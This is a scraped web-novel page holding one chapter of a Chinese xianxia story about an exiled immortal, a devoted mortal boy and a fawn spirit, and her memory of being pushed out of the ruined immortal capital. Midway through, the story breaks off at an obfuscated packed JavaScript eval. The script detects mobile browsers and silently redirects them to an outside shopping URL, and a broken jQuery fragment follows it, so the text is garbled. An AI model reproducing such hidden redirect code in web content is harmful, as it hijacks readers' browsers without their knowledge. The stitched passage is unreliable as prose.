文趣网 > 其他小说 > 修为尽废,我转投师祖怀抱 > 34. 我会努力变强
    从斜伸的老树枝干上跃下,腰间轻巧铃铛再次轻响,叮铃——

    只恍惚片刻,我便想起,我睡着了,好像还做了个悠长的梦。

    具体是什么,我记不清,约莫是曾经在白玉仙都生活的日子罢。

    自从好友们合力送我出仙都,来到人间,我就知道,我要成为这世上最后一个仙了。

    我深吸一口气,看向晴朗无云的天空,缓缓将胸腔内的浊气吐出,低头看向面前三人。

    “你们几个,在吵什么?不是说过了,不要和我走这么近。”

    中间那个较为沉稳的人衣服松垮,前襟鼓鼓囊囊,他迅速抬眸看了眼我,掏出怀中的油纸包,双手捧着上前。

    “荷花酥,你曾说过你想吃。”

    站在他右边的那个小孩来回用鞋尖碾着地上的土,站没站相。

    我没慌着接,背在身后的手轻轻一弹,白光闪过,右边的小孩立刻抱着他那条腿,原地单脚转着蹦。

    “哎哟!仙人!你就偏袒燕子!我的脚要坏了!你……你负责!”

    我淡笑,手指一勾,那油纸包便飞入手心,点心还带着余温,层层叠叠的纸打开,荷花酥撞在一起碎了些许,但总体保存尚可。

    “项席,我哪里偏袒他了。”

    项席没听出数落人的意思,大着胆子单腿跳到我身边,身子一歪朝我靠来。

    我单手托着点心,另一只手用剑鞘抵住他的背,轻轻一推,他就顺势舞着双手旋回去,一副昏头昏脑的模样。

    “我好晕啊……”

    重新包好点心,我看向左边的那个怯懦小孩,冲他招招手,“付渚,过来。”

    如果直接还给李晏京,这小孩肯定是不会要的,他脾气倔得很,最喜欢默不作声地盯着我,和我无声对峙,我体谅他是凡人小孩,不和他计较。

    付渚这小妖化形早,原型为一只叫“夫诸”的鹿,性子温和,胆子小,另外两人都不知道他是妖,只以为是个窝囊的小孩。

    项席没少欺负付渚。

    我弯腰把油纸包塞到付渚怀里,他第一反应是去看站在一旁被忽视许久的李晏京。

    “我不吃,你们拿回去。”

    不出所料,一转头,就对上李晏京黑沉沉的目光,我不喜欢他这眼睛,总能让我想起天外天暴动,白玉仙都尽毁之事。

    “怎么?”我直起身。

    李晏京稍稍仰头看向我,抿紧薄唇,“是不是我们又擅作主张了。”

    这其实无所谓。

    可我嗤笑,面对李晏京,我甚至不愿多说其他的字,淡声道:“是的。”

    他们还不知道自己未来的命运,我窥见一角,但我无力阻止,我不是众仙中心地善良的那个,可我却背负着他们的希望,可笑。

    李晏京就这么看着我。

    我垂眸审视他,不带丝毫感情。

    目送他们离开,我回到这破庙,静静在施了法后干净的蒲团上跪坐,手搭在膝上,袖袍平铺,不染尘埃。

    庙里的神像已经缺失头颅,只剩魁梧的身躯抓着长戟,战袍下摆扬起,如凭风而立,单看外表,定是一位极其凶悍的神仙。

    顶上破开的洞照下一束光,细小的尘灰浮动,我阖上眼眸,双臂交错,从手肘平移到指尖,合十双手,再度拉开,周身散发出一层柔和的光芒。

    由不同小阵相连构成的玄妙阵法出现在掌心中央,散落在身后的发丝无风自动。

    但这一切都没有波及庙内任何事物,那道光.柱中的尘埃仍慢悠悠地飘动着。

    那大量的光芒离体而去,钻入神像体内,瞬间化为点点星光般的灵力,向世间各处融去。

    “付渚说的没错,郁负雪,就算你是仙人,你再这样下去,也只会睡得越来越久。”

    我放下手,发丝重新落回背上,眉头轻蹙,扭头看向单脚踩在门槛上的李晏京。

    “我允许你叫我名字了?”

    须臾间,我立在李晏京面前,单手掐住他的脸抬起,李晏京只因疼痛轻耸鼻尖,很快压下表情,我垂眸,没松手,力道丝毫不减。

    “滚远点,没听见?”

    李晏京轻扯嘴角,见我没反应,又放弃笑这个举动,“仙人要杀我吗?”

    “是,你这小孩不讨喜,分明该玩乐的岁数,偏生往我跟前凑。”

    我收手,一挥袖,李晏京便被击飞,在庙前石路上滚了好几圈,我语气轻飘,“打也打不走,骂也骂不听。”

    “不杀你,留着烦心?”

    李晏京蜷缩在地,捂着肚子,声音闷在口中,我没有看下去的兴致,拂袖便要回树上继续睡,白玉仙都再无处可寻,我只能去梦里复觅亲友与良师。

    只是没走几步,衣摆被拽住,我停下脚步,轻叹一声。

    李晏京又跪下去,一只手捂着腹部,另一只手死死抓住我的衣服,仙力勾勒的法阵只浮起一瞬,什么恶意也没有,又暗淡消散。

    “别走,郁……”李晏京的声音颤抖,感受到我骤变的气息,他咽下我的名字,改口道:“仙人,果子你不喜,荷花酥你不喜,你告诉我,你喜欢什么好不好?”

    我向前踏出一步,李晏京一个踉跄扑在地上,手还抓着不放。

    他这是做什么?

    无法理解。

    其他两人并不像他这样。

    “我会为你建庙宇、聚供奉。”

    我没有理他,向前走出一步,身后拖拽的声音响起,沙粒和衣服摩擦,呲啦——

    “攒信徒、凝信仰?”

    又是一步,李晏京手中衣袍脱离一瞬,他向前一扑,再次揪住,这次是双手。

    “我会成为你最忠诚的追随者!”

    我倏地停下脚步,看着院中半歪的老树出神,李晏京知道他在说什么吗?

    孩童的玩笑话,我自是不会信,但这句说出口,无形法则驱动下,就容易成为连接我和他的因果了。

    早知如此,不如在初次见面时让他被人顺利卖掉。

    未来的正道第一人不一定得是李晏京,时间尚且充裕,我完全可以推别人上位,何必是这么个……牛皮糖。

    半晌,我只淡淡挑眉道:“不够。”

    李晏京听出什么,连忙爬起来绕到我面前站定,灰头土脸的,唯有眼睛发亮。

    “我会努力变强,踏入修真界,我想跟上你的脚步,想成为站在你身边的人。”

    我头也没低,只是从上而下睨着他。

    “凭你?”屈指一弹,李晏京捂着肩膀闷哼一声跪下,“我很讨厌人的纠缠,李晏京,你自说自话一番,可考虑过我的感受?”

    我没落下他指尖一抖的画面,无声嗤笑。

    连引气入体也未曾的一个孩童,大言不惭,不知出于什么心思,妄想追随仙人。

    愚蠢、痴笨。

    李晏京慢慢站起,呼吸微乱,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535190|203792||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他放下手,再抬起头时,眼神依旧专注,模样认真。

    他反复张嘴几次,在我耐心耗尽之前,他说:“那我就默默在您的身后。”

    赶走李晏京,头晕之症再次发作,我来到那根粗壮的树枝下,轻轻一翻,躺了回去。

    幼小白鹿踩着软蹄跃进来,我半睁开眼,冲它勾勾手,付渚小声叫了一下,轻轻蹦跳而来,在树根处停下。

    “上来。”

    我伸手虚虚托起它,付渚的四肢慌乱一瞬,很快放松下来。

    “荷花酥还给他们了?”

    付渚用鹿鼻蹭了蹭我的手心,“呦呦。”

    我轻笑,收回手,一下又一下抚摸它的背,“没事,刚刚就像缝衣服、除害虫一样,不是什么危险的事。”

    付渚在枝头伏下身体,闻言又叫了两声。

    “你?”我摇头,“你就是只鹿,能帮什么忙,你连项席这个凡人都打不过。”

    付渚垂头丧气地趴回去。

    我想了想,翻手取出一只暗沉的镯子,抬头丢在付渚的鹿脑袋上。

    “送你了,别操心那么多。还有,少跟项席玩,最近我要睡一段时间,他欺负你,你会找不到我。”

    付渚晃晃脑袋,豆豆眼想往脑袋顶上看。

    我闭上眼,因头疼轻皱眉头,很快松开。

    “……嗯?”付渚在我耳边问镯子的事,我打起精神,意识回归一瞬。

    “这个?你戴着修炼,不要随意摘下来。付渚,万不可进阶过快,上界出了些问题,等我解决再说。”

    付渚把镯子晃下来叼住,疑惑歪头。

    “我刚刚?和我刚刚……无关。”

    仙力能抵多久我不知道,这一梦,我再次回归梦里虚幻的白玉仙都。

    人人都想成仙。

    修士渡劫后飞升,入住的便是白玉仙都,里面那都是真真正正的仙。

    凡间大乘期、渡劫期的修士的能耐,均与之相差甚远。

    飞升后,凡间于我而言如同前世,不值一提,可仍有人未了结因果,红尘仍在,或道途使然,仍爱这世间。

    因此,当天外天那头的封印骤破,仙都惨遭侵入时,大多数仙者的第一反应是——

    封锁仙都通往凡间的大门,断了凡间通往白玉仙都的登仙路。

    “你们敢推我下去试试!”

    那天,我失去了往日的风骨,再难端着架子,只能瞪着眼睛看向挚友们。

    他们居然在短时间内就成功说服了我养的仙兽们,联合它们一起,将我逼到仙都门前。

    他们相视而笑。

    “对不起,郁负雪,实在没办法啦,你比我们都有能耐,凭白死在这儿白花花的仙都,多不好啊。”

    “如果还有机会,你再回来教训我们吧,我一定趴好不还手!”

    “我也是,到时候我的酒全送你,可行?别生气了,好可怕,他要宰了我!快快,大伙给点力,我要推咯,一……二……”

    光芒凝聚,我愤然相抗,可就算我再强,也难挡众人合力倾推。

    从仙都上落下去是什么感觉?

    心脏跳得最为厉害,耳边一阵嗡鸣,但他们的话清晰无比,我一时间生不出任何情绪。

    “好好活着,郁负雪。”

    “替我们看看现在的人间呗。”

    所有情绪戛然而止。

    唯有仙都大门在我眼前轰然关闭。